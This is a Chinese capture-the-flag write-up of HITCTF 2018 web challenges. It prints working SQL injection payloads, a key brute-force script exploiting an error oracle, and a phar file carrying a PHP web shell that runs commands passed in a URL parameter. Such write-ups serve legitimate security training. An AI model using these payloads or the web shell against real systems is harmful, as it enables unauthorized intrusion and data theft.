[hitctf] Web Writeup

PHP reading

PHP reading
  • 上扫描器扫出index.php.bak 下载"源码"
<?php 
    eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
?>

里面的内容base64decode之后是源码

$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');

输入urlhttp://198.13.58.35:8899?asdfgjxzkallgj8852= H1TctF2018EzCTF之后得到flag

BabyEval

BabyEval
  • 进入之后查看html源码发现题目源码
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->
$aaa = 'phpinfo';
$b = 'aaa';
echo $$b; //输出phpinfo

////////////

$a = 'phpinfo';
$b = 'aaa';
echo ${$b}; //也输出phpinfo
//则以下也是正确的
echo ${'aaa'}; //也输出phpinfo
echo ${'a'+'aa'}; //也输出phpinfo
try

做了一下尝试,花括号内是可以执行运算的,并且会强制类型转换成字符串,猜测是类似一个eval再强制转换成字符串?留个坑...以后研究源码的时候再看看....

BabyLeakage

BabyLeakage
  • 题目疯狂引导我们去使应用出错
    通知

    锦囊
  • 首先试一试url方面


    route_error
  • 逐个尝试之后在news/auth路由下发现了一个奇怪的报错


    error

    其中更是爆出了mysql的账号密码
    info
  • 我们探测一下该ip的mysql默认端口的情况
    mysql-3306
  • 既然开启的话我们尝试远程登录


    mysql-login

    bingo!

  • 最后在F1agIsHere库的表描述下找到flag

mysql> use F1agIsHere;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------------+
| Tables_in_F1agIsHere |
+----------------------+
| a                    |
| f                    |
| g                    |
| l                    |
+----------------------+
4 rows in set (0.05 sec)

mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H     | text | YES  |     | NULL    |       |
| I     | text | YES  |     | NULL    |       |
| TC    | text | YES  |     | NULL    |       |
| T     | text | YES  |     | NULL    |       |
| F     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
5 rows in set (0.04 sec)

mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field   | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| {       | text | YES  |     | NULL    |       |
| C10se_  | text | YES  |     | NULL    |       |
| Debu91n | text | YES  |     | NULL    |       |
+---------+------+------+-----+---------+-------+
3 rows in set (0.05 sec)

mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field    | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES  |     | NULL    |       |
| mmp      | text | YES  |     | NULL    |       |
| ort      | text | YES  |     | NULL    |       |
+----------+------+------+-----+---------+-------+
3 rows in set (0.05 sec)

mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7   | text | YES  |     | NULL    |       |
| }     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
2 rows in set (0.06 sec)

mysql> 

BabyInjection

BabyInjection
  • 题目给了源码
<?php
error_reporting(0);

if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
    echo 'Login and get the flag';
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
    echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
    echo '<input type="submit" ></input>'."<br/>";
    echo '</form>'."<br/>";
    die;
}

$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
    die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
    die("Hacker hacker hacker~");
}

$conn = mysqli_connect();

$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
    $result = mysqli_fetch_array($query);
    if ($result['passwd'] == $passwd){
        die('you did it and this is your flag: '.$flag);
    }
    else{
        die('Wrong password');
    }
}
else{
    die('Wrong username');
}
  • ban掉了很多关键字
    而且从ban list里面感觉到出题人并不是想我们找出真正的密码,而是单纯的绕过,是以前碰到的一个题目的套路,首先可以用group by passwd with rollup来制造一个空行(利用统计函数,查询结果多一行并且passwd为空),这里本来可以直接用limit筛选出我们需要的那个空行,但是这里limit被ban了,没关系,还可以用having子句来筛选出我们需要的带有空字段的行,因为having子句是再分组查询之后再执行的,所以最后post payload如下username='|| 1 group by passwd with rollup having passwd is null#&passwd=
mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> describe test;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | NO   | PRI | NULL    |       |
| phone | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from test;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
+----+---------+
1 row in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by id,phone with rollup;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
|  1 | NULL    |
| NULL | NULL    |
+----+---------+
3 rows in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by id with rollup;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
| NULL | ' or 1# |
+----+---------+
2 rows in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by phone with rollup;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
|  1 | NULL    |
+----+---------+
2 rows in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by phone with rollup having phone is null;
+----+-------+
| id | phone |
+----+-------+
|  1 | NULL  |
+----+-------+
1 row in set (0.01 sec)

mysql> 

小电影

小电影

ffmpeg的漏洞http://www.freebuf.com/column/142775.html
exp : https://github.com/neex/ffmpeg-avi-m3u-xbin
根据html源码提示利用exp去读flag文件即可

SecurePY

SecurePY

hint说python的缓存,并且给了uwsgi的配置项

http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc下载源码,源码如下:

#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'

def index():
    return render_template('index.html', flag_enc = flag_enc)

index = app.route('/')(index)

def getflag():
    req = request.json
    if not req:
        return jsonify(result = False)
    if None not in req:
        return jsonify(result = False)
    key = req['key']
    if len(key) != len(flag_key):
        return jsonify(result = False)
    for (x, y) in zip(key, flag_key):
        if ord(x) ^ ord(y):
            return jsonify(result = False)
    cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
    plain_text = cryptor.decrypt(a2b_hex(flag_enc))
    flag = plain_text.decode('utf-8').strip()
    return jsonify(result = True, flag = flag)

getflag = app.route('/getflag', methods = [
    'POST'])(getflag)
if __name__ == '__main__':
    app.run()
  • 首先flag是经过AES加密的,我们需要找到key去解密,而且我们得先知道key的长度(在这里很明显是16位),然后题目有一处逐位比较的地方,ord(x) ^ ord(y),通过这个地方我们能一位位构造爆破,但是问题是我们如何区别爆破成功和爆破失败?
  • 这里涉及到python的序列化json后转换的对象问题,https://docs.python.org/3/library/json.html#encoders-and-decoders
    如果遇到null就会被转换成None,遇到ord(None)的时候python就会抛出错误
    error
    尝试一下
    500 error

    return false

    这样的话我们就能够根据是否500来爆破我们需要的key了
    爆破脚本
import requests

se = requests.Session()

key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
realkey = ''

for x in xrange(0,16):
    for y in xrange(32,128):
        key[x] = str(chr(y))
        test = {"key" : key}
        res = se.post('http://123.206.83.157:8000/getflag',json=test)
        # print res.content
        # exit()
        if '500' in res.content:
            print str(chr(y))
            realkey += str(chr(y))
            break
print realkey

得到key : 5ecur3pPYpyPYk3y
提交之后得到flag

参考:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/

BabyWrite

BabyWrite

index.php
  • 一看到这个url就想到了这个login很有可能是login.php被包含进来的, 遂直接访问login.php发现是可以的,所以直接用伪协议读取文件内容


    php wrapper

    源码如下:

<!DOCTYPE html>
<html>
<head>
    <title>CTF</title>
</head>
<body>

    ��解�����
    <form action="login.php" method="POST">
        ��� : <input name="username" placeholder="username"><br/>
        å¯�ç � : <input name="password" placeholder="password"><br/><br/>
        <input type="submit" value="��">
    </form>
</body>
</html>

<?php
    require_once('config.php');
    if(isset($_POST['username']) && isset($_POST['password'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        if ($username === "admin" && sha1(md5($password)) === $admin_hash){
            echo '<script>alert("Login seccess!");</script>';
        }else{
            if (isset($_GET['debug'])){
                if($_GET['debug'] === 'hitctf'){
                    $logfile = "log/".$username.".log";
                    $content = $username." => ".$password;
                    file_put_contents($logfile, $content);

                }else{
                    echo '<script>alert("Login failed!");</script>';
                }
            }else{
                echo '<script>alert("Login failed!");</script>';
            }
        }
    }else{
        echo '<script>alert("Please input username and password!");</script>';
    }
?>
  • 从源码我们可以知道就算我们不登录也没有啥问题,提交debug参数之后可以任意写入文件内容到log后缀的文件中,这里限定死了后缀,也就是无法直接用文件包含getShell(此题包含时后缀要求是php),但是可以利用zip和phar伪协议包含,但是这里有个问题, 题目会在文件前加上 username => password ,这样的字符串有可能会破坏文件格式导致解压失败. 一叶飘零大佬是直接构造出了zip,http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/
    其实用phar也可以做, 并且不用顾及格式问题,因为phar在解压的时候先寻找stub部分,也就是<?php ?>标签内的内容(会将前面的忽略),所以只要stub结构完整就ok了
  • 构造phar
<?php
$p = new Phar('Pr0ph3t.phar', 0);
$p['shit.php'] = '<?php system($_GET[\'uuu\']); ?>';
$p->setStub('<?php __HALT_COMPILER(); ?>');
?>
  • 写入log
    post username为Pr0ph3t、password为生成的phar内容到http://120.24.215.80:10012/?page=login&debug=hitctf
    但是这里并不能直接用phar伪协议去包含,因为phar文件被修改过了,所以sha1签名对应不上,不会被解压 所以下一步是修改文件sha1

  • 下载被修改的log
    访问http://120.24.215.80:10012/log/Pr0ph3t.log得到被修改后的phar文件

    被修改之后的phar文件

    其中被选中部分是这个phar的sha1签名(http://php.net/manual/en/phar.fileformat.phar.php)

  • 计算新sha1并更改上传新phar


    旧phar

    被修改之后的phar(除去校验部分)

    计算新sha1

    更改刚才的选中部分


    新phar

    然后再次写入新phar到log
  • getShell


    getShell
  • flag在根目录下

BabyQuery

BabyQuery
  • 一个关于GraphQL的注入
    GraphQL的介绍http://graphql.cn/
    简单来说GraphQL就是一种介于数据库和客户端的一种类似于api的查询语言,客户并不直接告诉数据库需要的数据,而是GraphQL来告诉数据库客户需要什么数据,极大的避免了注入
  • 但是这题用GraphQL的时候没有很好的过滤完全
  • 首先getscorebyid这个操作是没问题的 id字段的内容base32encode过的,并且限制一位,无法注入
    base32
  • 然后尝试看看有没有其他操作
    其他操作
  • 有getscorebyyourname操作,猜测这个操作应该有name字段
    不能查询id

    这个操作不能查询id,去掉

  • 正常查询
    正常查询
  • 尝试一下存不存在注入
Alice
  ||
IFWGSY3F (base32encode)

Alice' and 1 --+
  ||
IFWGSY3FE4QGC3TEEAYSALJNFM======

Alice' and 0 --+
  ||
IFWGSY3FE4QGC3TEEAYCALJNFM======
Alice' and 1 --+

Alice' and 0 --+

是存在注入的

  • 下一步就是判断数据库类型
a' union select version() --+
  ||
METSA5LONFXW4IDTMVWGKY3UEB3GK4TTNFXW4KBJEAWS2KY=
a' union select version() --+

不是mysql

a' union select sqlite_version() --+
  ||
METSA5LONFXW4IDTMVWGKY3UEBZXC3DJORSV65TFOJZWS33OFAUSALJNFM======
a' union select sqlite_version() --+

确认数据库为sqlite

a' union select group_concat(name) from sqlite_master where type='table' --+
  ||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDOMFWWKKJAMZZG63JAONYWY2LUMVPW2YLTORSXEIDXNBSXEZJAOR4XAZJ5E52GCYTMMUTSALJNFM======
a' union select group_concat(name) from sqlite_master where type='table' --+
a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
  ||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDTOFWCSIDGOJXW2IDTOFWGS5DFL5WWC43UMVZCA53IMVZGKIDUPFYGKPJHORQWE3DFE4QGC3TEEBXGC3LFHUTVGZLDOIZXIX3GNQ2GOJZNFUVQ====
a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
  • getFlag
a' union select group_concat(flag) from Secr3t_fl4g --+
  ||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDGNRQWOKJAMZZG63JAKNSWG4RTORPWM3BUM4QC2LJL
getFlag

感觉自己越打越菜了....Orz...........

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,198评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,663评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,985评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,673评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,994评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,399评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,717评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,407评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,112评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,371评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,891评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,255评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,881评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,010评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,764评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,412评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,299评论 2 260

推荐阅读更多精彩内容